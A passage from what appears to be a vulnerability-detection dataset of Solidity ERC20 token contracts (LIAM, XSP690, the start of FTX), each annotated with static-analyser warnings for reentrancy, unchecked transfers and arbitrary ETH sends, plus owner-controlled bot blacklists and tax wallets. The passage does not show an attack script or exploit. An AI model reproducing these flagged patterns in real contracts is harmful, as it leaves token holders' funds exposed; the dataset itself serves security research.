Vulnerability (shadowing-local | severity: Low | ID: ca467b9): LIAM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ca467b9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d989b8b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e090303\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 41cc10a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 41cc10a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 066337c): LIAM._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 066337c: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cc03603): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cc03603: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d9bcc55): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d9bcc55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 066337c\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 41cc10a\n\t\t\t\t// reentrancy-eth | ID: cc03603\n\t\t\t\t// reentrancy-eth | ID: d9bcc55\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 41cc10a\n\t\t\t\t\t// reentrancy-eth | ID: cc03603\n\t\t\t\t\t// reentrancy-eth | ID: d9bcc55\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d9bcc55\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d9bcc55\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 41cc10a\n\t\t\t\t// reentrancy-eth | ID: cc03603\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 41cc10a\n\t\t\t\t\t// reentrancy-eth | ID: cc03603\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cc03603\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 41cc10a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cc03603\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cc03603\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 41cc10a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 41cc10a\n\t\t// reentrancy-events | ID: e090303\n\t\t// reentrancy-benign | ID: d989b8b\n\t\t// reentrancy-eth | ID: cc03603\n\t\t// reentrancy-eth | ID: d9bcc55\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 68969ce): LIAM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 68969ce: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 41cc10a\n\t\t// reentrancy-events | ID: e090303\n\t\t// reentrancy-eth | ID: cc03603\n\t\t// reentrancy-eth | ID: d9bcc55\n\t\t// arbitrary-send-eth | ID: 68969ce\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 73f9501): LIAM.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 73f9501: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 73f9501\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e0e5cf5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e0e5cf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 527a8fc): LIAM.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 527a8fc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 19b8695): LIAM.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 19b8695: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f17e7ae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f17e7ae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: e0e5cf5\n\t\t// unused-return | ID: 19b8695\n\t\t// reentrancy-eth | ID: f17e7ae\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e0e5cf5\n\t\t// unused-return | ID: 527a8fc\n\t\t// reentrancy-eth | ID: f17e7ae\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e0e5cf5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f17e7ae\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e0e5cf5\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10768.sol",
"size_bytes": 23041,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract XSP690 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f4f03c5): XSP690._taxWallet should be immutable \n\t// Recommendation for f4f03c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fae5e4a): XSP690._initialBuyTax should be constant \n\t// Recommendation for fae5e4a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae8093f): XSP690._initialSellTax should be constant \n\t// Recommendation for ae8093f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ed7675): XSP690._reduceBuyTaxAt should be constant \n\t// Recommendation for 3ed7675: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f45c78): XSP690._reduceSellTaxAt should be constant \n\t// Recommendation for 3f45c78: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb29c3f): XSP690._preventSwapBefore should be constant \n\t// Recommendation for eb29c3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"The Mini Spx- XSP 690\";\n\n string private constant _symbol = unicode\"XSP690\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa698f0): XSP690._taxSwapThreshold should be constant \n\t// Recommendation for aa698f0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3f9493): XSP690._maxTaxSwap should be constant \n\t// Recommendation for e3f9493: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x3513B04D728Ab36739933872A08c69AFfcEc03CD);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aeb8956): XSP690.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aeb8956: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7d9461e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7d9461e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 66819d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 66819d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7d9461e\n\t\t// reentrancy-benign | ID: 66819d8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7d9461e\n\t\t// reentrancy-benign | ID: 66819d8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e646aa4): XSP690._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e646aa4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 66819d8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7d9461e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 61b3e60): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 61b3e60: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6648810): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6648810: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 61b3e60\n\t\t\t\t// reentrancy-eth | ID: 6648810\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 61b3e60\n\t\t\t\t\t// reentrancy-eth | ID: 6648810\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6648810\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6648810\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6648810\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 61b3e60\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6648810\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6648810\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 61b3e60\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 61b3e60\n\t\t// reentrancy-events | ID: 7d9461e\n\t\t// reentrancy-benign | ID: 66819d8\n\t\t// reentrancy-eth | ID: 6648810\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 61b3e60\n\t\t// reentrancy-events | ID: 7d9461e\n\t\t// reentrancy-eth | ID: 6648810\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c1ed869): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c1ed869: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6ccddab): XSP690.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6ccddab: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8cdefc9): XSP690.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8cdefc9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6946f83): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6946f83: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c1ed869\n\t\t// reentrancy-eth | ID: 6946f83\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c1ed869\n\t\t// unused-return | ID: 8cdefc9\n\t\t// reentrancy-eth | ID: 6946f83\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c1ed869\n\t\t// unused-return | ID: 6ccddab\n\t\t// reentrancy-eth | ID: 6946f83\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c1ed869\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6946f83\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10769.sol",
"size_bytes": 19890,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FTX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cd7a65d): FTX._taxWallet should be immutable \n\t// Recommendation for cd7a65d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2cdc22): FTX._initialBuyTax should be constant \n\t// Recommendation for a2cdc22: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue 